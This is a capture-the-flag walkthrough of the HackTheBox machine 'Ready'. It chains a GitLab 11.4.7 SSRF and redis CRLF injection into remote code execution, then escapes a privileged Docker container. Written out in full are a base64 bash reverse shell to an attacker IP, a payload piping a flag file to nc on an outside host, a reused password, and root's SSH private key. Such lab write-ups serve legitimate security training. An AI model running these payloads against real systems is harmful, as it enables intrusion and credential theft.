Ready is a vulnerable virtual machine created by bertolis on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap
scan, we see that this is a Linux machine running SSH
and HTTP
services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
$ nmap-default 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.031s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
| http-title: Sign in \xC2\xB7 GitLab
|_Requested resource was http://10.10.10.220:5080/users/sign_in
|_http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The version of the system can be identified by searching for the OpenSSH
package information. It appears to be Ubuntu 20.04 (Focal Fossa)
according to the page below.
https://launchpad.net/ubuntu/+source/openssh/1:8.2p1-4
For the details of the custom nmap
commands, check here.
HTTP
A GitLab login page is found as the index page of the HTTP server, which is shown below.
As registration is turned on, an account can be registered to get access to it. After logging in, the version number can be found on the help
page, which is 11.4.7
.
Exploitation
GitLab SSRF to RCE
A blog post by LiveOverflow is found interesting, which describes how to leverage an SSRF vulnerability in GitLab 11.4.7
to achieve RCE via redis
. It involves using IPv6/IPv4 Address Embedding to bypass local address checks and CRLF injection to create new lines to be able to execute command in redis.
To do the exploitation, we first need to create a reverse shell payload. It is encoded in base64
to avoid any bad characters since everything is sent in the URL.
1
2
$ echo "bash -c 'bash -i >& /dev/tcp/10.10.14.75/4444 0>&1'" | base64
YmFzaCAtYyAnYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNzUvNDQ0NCAwPiYxJwo=
The reverse shell payload will be:
1
$ echo YmFzaCAtYyAnYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNzUvNDQ0NCAwPiYxJwo= | base64 -d | bash
Next, we copy the exploit payload in the blog post.
1
2
3
4
5
6
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| cat /flag | nc 192.168.178.21 1234\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
We replace the command execution part with our reverse shell payload, and it reads as the following.
1
2
3
4
5
6
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| echo YmFzaCAtYyAnYmFzaCAtaSAgPiYgL2Rldi90Y3AvMTAuMTAuMTQuNzUvNDQ0NCAwPiYxJwo= | base64 -d | bash \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec
exec
Now that the payload is ready, we will create a new project and choose import project from URL.
We use burp
to intercept the request, and modify it to include our payload as the following.
Before sending the request, we will want to set up our ncat
listener so that we can catch the reverse shell.
1
2
3
4
5
6
$ ncat -nlvp 4444
...
git@gitlab:~/gitlab-rails/working$ whoami
git
Privilege Escalation
After running LinPEAS, we know that we are in a docker environment. Also, an interesting directory /opt/backup
has been found by the script. In the directory we find three files as below.
1
2
3
4
5
6
git@gitlab:~/gitlab-rails/working$ cd /opt/backup
git@gitlab:/opt/backup$ ls -l
total 100
-rw-r--r-- 1 root root 872 Dec 7 09:25 docker-compose.yml
-rw-r--r-- 1 root root 15092 Dec 1 16:23 gitlab-secrets.json
-rw-r--r-- 1 root root 79639 Dec 1 19:20 gitlab.rb
In docker-compose.yml
, we find that the container is running in privileged
mode, which means that it has root
access to all devices on the host system.
1
2
3
4
5
git@gitlab:/opt/backup$ cat docker-compose.yml
...
privileged: true
And previously LinPEAS has shown the disks of the host system.
1
2
3
4
5
[+] Any sd*/disk* disk in /dev? (limit 20)
sda
sda1
sda2
sda3
But before we can abuse this, we need to pwn root
inside the docker container. Fortunately, trying a password reuse with what we find in the same directory is successful, and that’s it.
1
2
3
4
5
6
7
8
9
10
git@gitlab:/opt/backup$ grep -R pass .
...
./gitlab.rb:gitlab_rails['smtp_password'] = "wW59U!ZKMbG9+*#h"
git@gitlab:/opt/backup$ su -
Password:
root@gitlab:~# whoami
root
In the results of the mount
command, we find something interesting. It indicates that /dev/sda2
may be the host file system.
1
2
3
4
5
6
7
8
9
root@gitlab:~# mount
...
/dev/sda2 on /root_pass type ext4 (rw,relatime)
/dev/sda2 on /etc/gitlab type ext4 (rw,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime)
We can mount /dev/sda2
to verify it. By doing that, we have found the root.txt
we want.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
root@gitlab:~# mkdir -p /mnt/lol
root@gitlab:~# mount /dev/sda2 /mnt/lol
root@gitlab:~# ls /mnt/lol
bin cdrom etc lib lib64 lost+found mnt proc run snap sys usr
boot dev home lib32 libx32 media opt root sbin srv tmp var
root@gitlab:~# ls -la /mnt/lol/root
total 60
drwx------ 10 root root 4096 Dec 7 17:02 .
drwxr-xr-x 20 root root 4096 Dec 7 17:44 ..
lrwxrwxrwx 1 root root 9 Jul 11 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 May 7 2020 .cache
drwx------ 3 root root 4096 Jul 11 2020 .config
-rw-r--r-- 1 root root 44 Jul 8 2020 .gitconfig
drwxr-xr-x 3 root root 4096 May 7 2020 .local
lrwxrwxrwx 1 root root 9 Dec 7 17:02 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r--r-- 1 root root 75 Jul 12 2020 .selected_editor
drwx------ 2 root root 4096 Dec 7 16:49 .ssh
drwxr-xr-x 2 root root 4096 Dec 1 12:28 .vim
lrwxrwxrwx 1 root root 9 Dec 7 17:02 .viminfo -> /dev/null
drwxr-xr-x 3 root root 4096 Dec 1 12:41 docker-gitlab
drwxr-xr-x 10 root root 4096 Jul 9 2020 ready-channel
-r-------- 1 root root 33 Jul 8 2020 root.txt
drwxr-xr-x 3 root root 4096 May 18 2020 snap
To get a root
shell, we can download the root ssh key to our machine.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
root@gitlab:~# cat /mnt/lol/root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAvyovfg++zswQT0s4YuKtqxOO6EhG38TR2eUaInSfI1rjH09Q
sle1ivGnwAUrroNAK48LE70Io13DIfE9rxcotDviAIhbBOaqMLbLnfnnCNLApjCn
6KkYjWv+9kj9shzPaN1tNQLc2Rg39pn1mteyvUi2pBfA4ItE05F58WpCgh9KNMlf
YmlPwjeRaqARlkkCgFcHFGyVxd6Rh4ZHNFjABd8JIl+Yaq/pg7t4qPhsiFsMwntX
TBKGe8T4lzyboBNHOh5yUAI3a3Dx3MdoY+qXS/qatKS2Qgh0Ram2LLFxib9hR49W
rG87jLNt/6s06z+Mwf7d/oN8SmCiJx3xHgFzbwIDAQABAoIBACeFZC4uuSbtv011
YqHm9TqSH5BcKPLoMO5YVA/dhmz7xErbzfYg9fJUxXaIWyCIGAMpXoPlJ90GbGof
Ar6pDgw8+RtdFVwtB/BsSipN2PrU/2kcVApgsyfBtQNb0b85/5NRe9tizR/Axwkf
iUxK3bQOTVwdYQ3LHR6US96iNj/KNru1E8WXcsii5F7JiNG8CNgQx3dzve3Jzw5+
lg5bKkywJcG1r4CU/XV7CJH2SEUTmtoEp5LpiA2Bmx9A2ep4AwNr7bd2sBr6x4ab
VYYvjQlf79/ANRXUUxMTJ6w4ov572Sp41gA9bmwI/Er2uLTVQ4OEbpLoXDUDC1Cu
K4ku7QECgYEA5G3RqH9ptsouNmg2H5xGZbG5oSpyYhFVsDad2E4y1BIZSxMayMXL
g7vSV+D/almaACHJgSIrBjY8ZhGMd+kbloPJLRKA9ob8rfxzUvPEWAW81vNqBBi2
3hO044mOPeiqsHM/+RQOW240EszoYKXKqOxzq/SK4bpRtjHsidSJo4ECgYEA1jzy
n20X43ybDMrxFdVDbaA8eo+og6zUqx8IlL7czpMBfzg5NLlYcjRa6Li6Sy8KNbE8
kRznKWApgLnzTkvupk/oYSijSliLHifiVkrtEY0nAtlbGlgmbwnW15lwV+d3Ixi1
KNwMyG+HHZqChNkFtXiyoFaDdNeuoTeAyyfwzu8CgYAo4L40ORjh7Sx38A4/eeff
Kv7dKItvoUqETkHRA6105ghAtxqD82GIIYRy1YDft0kn3OQCh+rLIcmNOna4vq6B
MPQ/bKBHfcCaIiNBJP5uAhjZHpZKRWH0O/KTBXq++XQSP42jNUOceQw4kRLEuOab
dDT/ALQZ0Q3uXODHiZFYAQKBgBBPEXU7e88QhEkkBdhQpNJqmVAHMZ/cf1ALi76v
DOYY4MtLf2dZGLeQ7r66mUvx58gQlvjBB4Pp0x7+iNwUAbXdbWZADrYxKV4BUUSa
bZOheC/KVhoaTcq0KAu/nYLDlxkv31Kd9ccoXlPNmFP+pWWcK5TzIQy7Aos5S2+r
ubQ3AoGBAIvvz5yYJBFJshQbVNY4vp55uzRbKZmlJDvy79MaRHdz+eHry97WhPOv
aKvV8jR1G+70v4GVye79Kk7TL5uWFDFWzVPwVID9QCYJjuDlLBaFDnUOYFZW52gz
vJzok/kcmwcBlGfmRKxlS0O6n9dAiOLY46YdjyS8F8hNPOKX6rCd
-----END RSA PRIVATE KEY-----
Now we can ssh
into the target as root
.
1
2
3
4
5
6
7
8
$ xclip -sel clip -o > root
$ chmod 600 root
$ ssh -i root [email protected]
...
root@ready:~# whoami
root